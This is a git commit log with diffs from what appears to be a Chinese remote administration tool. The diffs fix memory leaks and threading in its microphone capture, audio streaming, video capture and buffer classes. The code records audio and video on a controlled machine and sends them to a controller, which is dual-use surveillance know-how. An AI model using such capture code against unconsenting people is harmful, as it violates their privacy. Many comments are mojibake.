14 Commits

Author SHA1 Message Date
yuanyuanxiang
91428795e6 准备分布v1.0.0.3 2019-01-26 14:05:37 +08:00
yuanyuanxiang
af63166fbe 解决语音监听对话框不更新状态的问题
修复语音监听对话框显示已收到数据不更新状态的问题。
发现"发送本地语音"会导致主控端容易崩溃的问题,现象类似于操作远程桌面时的随机崩溃。
2019-01-26 11:53:11 +08:00
yuanyuanxiang
be45b5bd89 完善录制被控端视频的功能
1、修复被控端消息提示对话框在消息换行时显示不完整的问题。
2、添加/完善录制远程被控端视频的功能。
2019-01-26 10:35:10 +08:00
yuanyuanxiang
bd7b9ed492 减少捕获音视频时申请内存次数
减少音频视频捕获过程中频繁申请内存。
2019-01-22 20:44:23 +08:00
yuanyuanxiang
4283a31e66 减少远程桌面new的频次
减少远程桌面new缓冲区的频率,将部分从堆上new固定内存的操作改用从栈上分配内存。
2019-01-21 21:04:17 +08:00
yuanyuanxiang
5aadfc13a6 完善远程控制追踪鼠标 2019-01-20 20:04:11 +08:00
yuanyuanxiang
e4793a489e 因为易崩而弃用lz4
1、发现使用lz4压缩库时监控端程序进行远程桌面操作时容易崩溃,原因不明。

2、修复内存泄漏缺陷,在throw "Bad Buffer"的情况需要释放申请的内存。
2019-01-19 23:26:05 +08:00
yuanyuanxiang
b573baed0b 发布V1.0.0.2 2019-01-18 17:37:15 +08:00
yuanyuanxiang
38c0c1ccdb 修复语音监听模块的问题 2019-01-17 21:14:02 +08:00
yuanyuanxiang
78623390b2 修复远程桌面跟踪鼠标不准的问题
添加比zstd更快的压缩库lz4。
2019-01-17 20:41:51 +08:00
yuanyuanxiang
16741545a9 采用比zlib更快的压缩库zstd
远程桌面帧率提高到12;补充上传zlib.lib。
2019-01-17 11:58:26 +08:00
yuanyuanxiang
c54d75505e 主控端退出时被控端也退出
1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。

2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。

3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
2019-01-15 21:48:37 +08:00
yuanyuanxiang
c6e9a06a1a 根据代码分析进行少量修改 2019-01-13 13:36:00 +08:00
yuanyuanxiang
79903cbdff 彻底修复多次打开文件管理窗口崩溃的缺陷
1、在主对话框清理子窗口的资源(原先在各自的OnClose函数),通过CLOSE_DELETE_DLG控制。

2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法,解决多次打开崩溃。

3、更新服务端zlib版本为V1.2.11。(与客户端不同,因inflate_fast 崩溃,没有采用汇编)
2019-01-13 13:13:59 +08:00
96 changed files with 7660 additions and 1032 deletions

3
.gitignore vendored
View File

@@ -27,7 +27,6 @@ Release
*.lai *.lai
*.la *.la
*.a *.a
*.lib
# Executables # Executables
*.exe *.exe
@@ -67,3 +66,5 @@ server/2015Remote/2015Remote.aps
*.suo *.suo
server/2015Remote.VC.db server/2015Remote.VC.db
server/2015Remote.opensdf server/2015Remote.opensdf
*.7z
*.ini

View File

@@ -71,3 +71,85 @@
4、退出时睡眠一会等待服务端清理发现这样可以避免退出时崩溃的概率。 4、退出时睡眠一会等待服务端清理发现这样可以避免退出时崩溃的概率。
5、发布稍微稳定的版本V1.0.0.1。 5、发布稍微稳定的版本V1.0.0.1。
2019.1.13
1、在主对话框清理子窗口的资源原先在各自的OnClose函数通过CLOSE_DELETE_DLG控制。
2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法解决多次打开崩溃。
3、更新服务端zlib版本为V1.2.11。与客户端不同因inflate_fast 崩溃,没有采用汇编)
2019.1.15
1、修复主控端CTalkDlg的内存泄漏问题被控端即时消息对话框置于顶层。
2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。
3、开关音频时偶有内存泄漏waveInCallBack线程不能正常退出。
2019.1.16
1、智能计时宏AUTO_TICK有问题不应该用无名的局部变量auto_tick。
2、采用由Facebook所开发的速度更快的压缩库zstd提高程序运行效率。
参看https://github.com/facebook/zstd
2019.1.17
1、添加比zstd更快的压缩库压缩率不如zstd和zliblz4 1.8.3,参看
https://github.com/lz4/lz4
2、修复被控端屏幕被缩放显示时远程桌面跟踪鼠标的位置不准的问题。
3、修复语音监听的问题2个事件CAudio修改为非"Manual Reset"。
2019.1.18
1、整理部分垃圾代码。
2、发布V1.0.0.2。
2018.1.19
1、发现使用lz4压缩库时监控端程序进行远程桌面操作时容易崩溃原因不明。
2、修复内存泄漏缺陷在throw "Bad Buffer"的情况需要释放申请的内存。
2019.1.20
1、发现不管是采用zstd还是zlib主控端在进行桌面控制时均有崩溃的几率zlib较小
2、改用zlib压缩解压库。
3、完善追踪鼠标时鼠标形态变化时的展现效果。
4、当退出远程桌面窗口全屏状态时不再向远程被控端发送F11。
5、发现在有线网络条件下主控端崩溃几率较小。
6、禁用主控端输入法解决使用远程桌面在被控端输入时的麻烦问题。
2019.1.21
减少远程桌面new缓冲区的频率将部分从堆上new固定内存的操作改用从栈上分配内存。
2019.1.22
减少音频视频捕获过程中频繁申请内存。
2019.1.25
1、修复被控端消息提示对话框在消息换行时显示不完整的问题。
2、添加/完善录制远程被控端视频的功能。
3、修复语音监听对话框显示已收到数据不更新状态的问题。
4、发现"发送本地语音"会导致主控端容易崩溃的问题,现象类似于操作远程桌面时的随机崩溃。
5、设置视频监控对话框为可调整大小为其设置图标。
2019.1.26
发布V1.0.0.3。

View File

@@ -14,12 +14,13 @@ CAudio::CAudio()
{ {
m_bExit = FALSE; m_bExit = FALSE;
m_hThreadCallBack = false; m_hThreadCallBack = false;
m_Thread = NULL;
m_bIsWaveInUsed = FALSE; m_bIsWaveInUsed = FALSE;
m_bIsWaveOutUsed = FALSE; m_bIsWaveOutUsed = FALSE;
m_nWaveInIndex = 0; m_nWaveInIndex = 0;
m_nWaveOutIndex = 0; m_nWaveOutIndex = 0;
m_hEventWaveIn = CreateEvent(NULL, TRUE, FALSE, NULL); m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL);
m_hStartRecord = CreateEvent(NULL, TRUE, FALSE, NULL); m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL);
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT)); memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
@@ -33,8 +34,7 @@ CAudio::CAudio()
m_ulBufferLength = 1000; m_ulBufferLength = 1000;
int i = 0; for (int i = 0; i < 2; ++i)
for (i = 0; i < 2; i++)
{ {
m_InAudioData[i] = new BYTE[m_ulBufferLength]; m_InAudioData[i] = new BYTE[m_ulBufferLength];
m_InAudioHeader[i] = new WAVEHDR; m_InAudioHeader[i] = new WAVEHDR;
@@ -47,26 +47,7 @@ CAudio::CAudio()
CAudio::~CAudio() CAudio::~CAudio()
{ {
m_bExit = TRUE; m_bExit = TRUE;
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
}
for (int i = 0; i < 2; i++)
{
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_hEventWaveIn) if (m_hEventWaveIn)
{ {
SetEvent(m_hEventWaveIn); SetEvent(m_hEventWaveIn);
@@ -80,15 +61,38 @@ CAudio::~CAudio()
m_hStartRecord = NULL; m_hStartRecord = NULL;
} }
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; ++i)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
TerminateThread(m_Thread, -999);
m_Thread = NULL;
}
for (int i = 0; i < 2; ++i)
{
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_bIsWaveOutUsed) if (m_bIsWaveOutUsed)
{ {
waveOutReset(m_hWaveOut); waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR)); waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
waveOutClose(m_hWaveOut); waveOutClose(m_hWaveOut);
} }
for (int i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
{ {
delete [] m_OutAudioData[i]; delete [] m_OutAudioData[i];
m_OutAudioData[i] = NULL; m_OutAudioData[i] = NULL;
@@ -102,8 +106,7 @@ BOOL CAudio::InitializeWaveIn()
MMRESULT mmResult; MMRESULT mmResult;
DWORD dwThreadID = 0; DWORD dwThreadID = 0;
HANDLE h = NULL; m_hThreadCallBack = m_Thread = CreateThread(NULL, 0,
m_hThreadCallBack = h = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this, (LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
CREATE_SUSPENDED, &dwThreadID); CREATE_SUSPENDED, &dwThreadID);
@@ -114,12 +117,11 @@ BOOL CAudio::InitializeWaveIn()
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (mmResult != MMSYSERR_NOERROR) if (mmResult != MMSYSERR_NOERROR)
{ {
CloseHandle(h);
return FALSE; return FALSE;
} }
//¼<><C2BC><EFBFBD><20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //¼<><C2BC><EFBFBD><20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (int i=0; i<2; i++) for (int i=0; i<2; ++i)
{ {
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength; m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
@@ -130,8 +132,7 @@ BOOL CAudio::InitializeWaveIn()
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR)); waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
ResumeThread(h); ResumeThread(m_Thread);
CloseHandle(h);
waveInStart(m_hWaveIn); //¼<><C2BC> waveInStart(m_hWaveIn); //¼<><C2BC>
m_bIsWaveInUsed = TRUE; m_bIsWaveInUsed = TRUE;
@@ -146,10 +147,7 @@ LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
{ {
return NULL; return NULL;
} }
if (dwBufferSize == NULL)
{
return NULL;
}
SetEvent(m_hStartRecord); SetEvent(m_hStartRecord);
WaitForSingleObject(m_hEventWaveIn, INFINITE); WaitForSingleObject(m_hEventWaveIn, INFINITE);
*dwBufferSize = m_ulBufferLength; *dwBufferSize = m_ulBufferLength;
@@ -170,11 +168,12 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
{ {
SetEvent(This->m_hEventWaveIn); SetEvent(This->m_hEventWaveIn);
WaitForSingleObject(This->m_hStartRecord, INFINITE); WaitForSingleObject(This->m_hStartRecord, INFINITE);
if (This->m_bExit)
break;
Sleep(1); Sleep(1);
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex; This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD> //<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD>
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR)); This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
@@ -194,7 +193,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
std::cout<<"waveInCallBack end\n"; std::cout<<"waveInCallBack end\n";
This->m_hThreadCallBack = false; This->m_hThreadCallBack = false;
return 0; return 0XDEADAAAA;
} }
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize) BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
@@ -215,8 +214,8 @@ BOOL CAudio::InitializeWaveOut()
{ {
if (!waveOutGetNumDevs()) if (!waveOutGetNumDevs())
return FALSE; return FALSE;
int i;
for (i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MMRESULT mmResult; MMRESULT mmResult;
@@ -224,7 +223,7 @@ BOOL CAudio::InitializeWaveOut()
if (mmResult != MMSYSERR_NOERROR) if (mmResult != MMSYSERR_NOERROR)
return false; return false;
for (i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
{ {
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i]; m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength; m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;

View File

@@ -26,9 +26,10 @@ public:
HWAVEIN m_hWaveIn; //<2F><EFBFBD><E8B1B8><EFBFBD><EFBFBD> HWAVEIN m_hWaveIn; //<2F><EFBFBD><E8B1B8><EFBFBD><EFBFBD>
DWORD m_nWaveInIndex; DWORD m_nWaveInIndex;
bool m_hThreadCallBack; bool m_hThreadCallBack;
HANDLE m_Thread;// waveInCallBack<63>߳<EFBFBD>
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD> static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize); LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
BOOL CAudio::InitializeWaveIn(); BOOL InitializeWaveIn();
BOOL m_bIsWaveInUsed; BOOL m_bIsWaveInUsed;
HWAVEOUT m_hWaveOut; HWAVEOUT m_hWaveOut;
@@ -37,8 +38,8 @@ public:
DWORD m_nWaveOutIndex; DWORD m_nWaveOutIndex;
LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize); BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
BOOL CAudio::InitializeWaveOut(); BOOL InitializeWaveOut();
}; };
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_) #endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)

View File

@@ -17,6 +17,8 @@ using namespace std;
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject) CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{ {
printf("new CAudioManager %x\n", this);
m_bIsWorking = FALSE; m_bIsWorking = FALSE;
m_AudioObject = NULL; m_AudioObject = NULL;
@@ -29,6 +31,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObj
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szPacket = NULL;
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
(LPVOID)this, 0, NULL); (LPVOID)this, 0, NULL);
@@ -41,6 +44,7 @@ VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
case COMMAND_NEXT: case COMMAND_NEXT:
{ {
if (1 == ulLength)
NotifyDialogIsOpen(); NotifyDialogIsOpen();
break; break;
} }
@@ -57,7 +61,8 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
CAudioManager *This = (CAudioManager *)lParam; CAudioManager *This = (CAudioManager *)lParam;
while (This->m_bIsWorking) while (This->m_bIsWorking)
{ {
This->SendRecordBuffer(); if(!This->SendRecordBuffer())
Sleep(50);
} }
cout<<"CAudioManager WorkThread end\n"; cout<<"CAudioManager WorkThread end\n";
@@ -65,26 +70,26 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
return 0; return 0;
} }
int CAudioManager::SendRecordBuffer() BOOL CAudioManager::SendRecordBuffer()
{ {
DWORD dwBufferSize = 0; DWORD dwBufferSize = 0;
DWORD dwReturn = 0; BOOL dwReturn = 0;
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize); LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
if (szBuffer == NULL) if (szBuffer == NULL)
return 0; return 0;
//<2F><><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD>
LPBYTE szPacket = new BYTE[dwBufferSize + 1]; szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͸<EFBFBD><CDB8><EFBFBD>Ϣ szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͸<EFBFBD><CDB8><EFBFBD>Ϣ
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD> //<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
memcpy(szPacket + 1, szBuffer, dwBufferSize); memcpy(szPacket + 1, szBuffer, dwBufferSize);
szPacket[dwBufferSize] = 0;
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ //<2F><><EFBFBD>ͳ<EFBFBD>ȥ
if (dwBufferSize > 0) if (dwBufferSize > 0)
{ {
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1); dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
} }
delete szPacket;
return dwReturn; return dwReturn;
} }
@@ -100,6 +105,12 @@ CAudioManager::~CAudioManager()
delete m_AudioObject; delete m_AudioObject;
m_AudioObject = NULL; m_AudioObject = NULL;
} }
if (szPacket)
{
delete [] szPacket;
szPacket = NULL;
}
printf("~CAudioManager %x\n", this);
} }
//USB //USB

View File

@@ -23,9 +23,10 @@ public:
BOOL m_bIsWorking; BOOL m_bIsWorking;
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
static DWORD WorkThread(LPVOID lParam); static DWORD WorkThread(LPVOID lParam);
int CAudioManager::SendRecordBuffer(); BOOL SendRecordBuffer();
CAudio* m_AudioObject; CAudio* m_AudioObject;
LPBYTE szPacket; // <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}; };
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_) #endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)

View File

@@ -135,7 +135,7 @@ VOID CBuffer::ClearBuffer()
ULONG CBuffer::GetBufferLength() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> ULONG CBuffer::GetBufferLength() const //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
{ {
if (m_Base == NULL) if (m_Base == NULL)
return 0; return 0;
@@ -144,12 +144,12 @@ ULONG CBuffer::GetBufferLength() //
} }
ULONG CBuffer::GetBufferMaxLength() ULONG CBuffer::GetBufferMaxLength() const
{ {
return m_ulMaxLength; return m_ulMaxLength;
} }
PBYTE CBuffer::GetBuffer(ULONG ulPos) PBYTE CBuffer::GetBuffer(ULONG ulPos) const
{ {
if (m_Base==NULL) if (m_Base==NULL)
{ {

View File

@@ -8,14 +8,14 @@ public:
CBuffer(void); CBuffer(void);
~CBuffer(void); ~CBuffer(void);
ULONG GetBufferMaxLength(); ULONG GetBufferMaxLength() const;
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength); ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
ULONG GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>; ULONG GetBufferLength() const; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
ULONG DeAllocateBuffer(ULONG ulLength); ULONG DeAllocateBuffer(ULONG ulLength);
VOID ClearBuffer(); VOID ClearBuffer();
ULONG ReAllocateBuffer(ULONG ulLength); ULONG ReAllocateBuffer(ULONG ulLength);
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
PBYTE GetBuffer(ULONG ulPos=0); PBYTE GetBuffer(ULONG ulPos=0) const;
protected: protected:
PBYTE m_Base; PBYTE m_Base;

View File

@@ -20,10 +20,12 @@ CCaptureVideo::CCaptureVideo()
m_pGB = NULL; m_pGB = NULL;
m_pMC = NULL; m_pMC = NULL;
m_pVW = NULL; m_pVW = NULL;
m_bExit = FALSE;
} }
CCaptureVideo::~CCaptureVideo() CCaptureVideo::~CCaptureVideo()
{ {
m_bExit = TRUE;
if(m_pMC)m_pMC->StopWhenReady(); if(m_pMC)m_pMC->StopWhenReady();
if(m_pVW){ if(m_pVW){
m_pVW->put_Visible(OAFALSE); m_pVW->put_Visible(OAFALSE);
@@ -258,10 +260,9 @@ LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
{ {
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬ if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
{ {
szBuffer = mCB.GetNextScreen(dwSize);//ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> szBuffer = mCB.GetNextScreen(dwSize);
} }
} while (szBuffer==NULL); } while (szBuffer==NULL && !m_bExit);
return szBuffer; return szBuffer;
} }

View File

@@ -36,7 +36,7 @@ public:
LPBITMAPINFO m_BitmapInfor_Full; LPBITMAPINFO m_BitmapInfor_Full;
BYTE* m_BitmapData_Full; BYTE* m_BitmapData_Full;
BOOL bStact; BOOL bStact;
DWORD m_dwSize; DWORD m_dwSize; // <20><>Ƶͼ<C6B5><CDBC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
CSampleGrabberCB() CSampleGrabberCB()
{ {
@@ -152,18 +152,23 @@ public:
} }
}; };
extern CSampleGrabberCB mCB;
class CCaptureVideo class CCaptureVideo
{ {
public: public:
CCaptureVideo(); CCaptureVideo();
virtual ~CCaptureVideo(); virtual ~CCaptureVideo();
LPBITMAPINFO CCaptureVideo::GetBmpInfor(); LPBITMAPINFO GetBmpInfor();
HRESULT CCaptureVideo::InitCaptureGraphBuilder(); HRESULT InitCaptureGraphBuilder();
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress); HRESULT Open(int iDeviceID,int iPress);
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter); BOOL BindVideoFilter(int deviceId, IBaseFilter **pFilter);
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize); LPBYTE GetDIB(DWORD& dwSize);
int GetDIBBufSize() const { return mCB.m_dwSize; }
BOOL m_bExit;
HWND m_hWnd; HWND m_hWnd;
@@ -176,10 +181,10 @@ public:
IBaseFilter* m_pBF; //FDO IBaseFilter* m_pBF; //FDO
ISampleGrabber* m_pGrabber; //<2F><><EFBFBD><EFBFBD> 24Color ISampleGrabber* m_pGrabber; //<2F><><EFBFBD><EFBFBD> 24Color
void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt); void FreeMediaType(AM_MEDIA_TYPE& mt);
void CCaptureVideo::ResizeVideoWindow(); void ResizeVideoWindow();
HRESULT CCaptureVideo::SetupVideoWindow(); HRESULT SetupVideoWindow();
void CCaptureVideo::SendEnd(); void SendEnd();
}; };
#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_) #endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)

View File

@@ -65,7 +65,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile> </ClCompile>
<Link> <Link>
@@ -83,7 +83,6 @@
<ClCompile Include="CaptureVideo.cpp" /> <ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="ClientDll.cpp" /> <ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" /> <ClCompile Include="Common.cpp" />
<ClCompile Include="CursorInfor.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
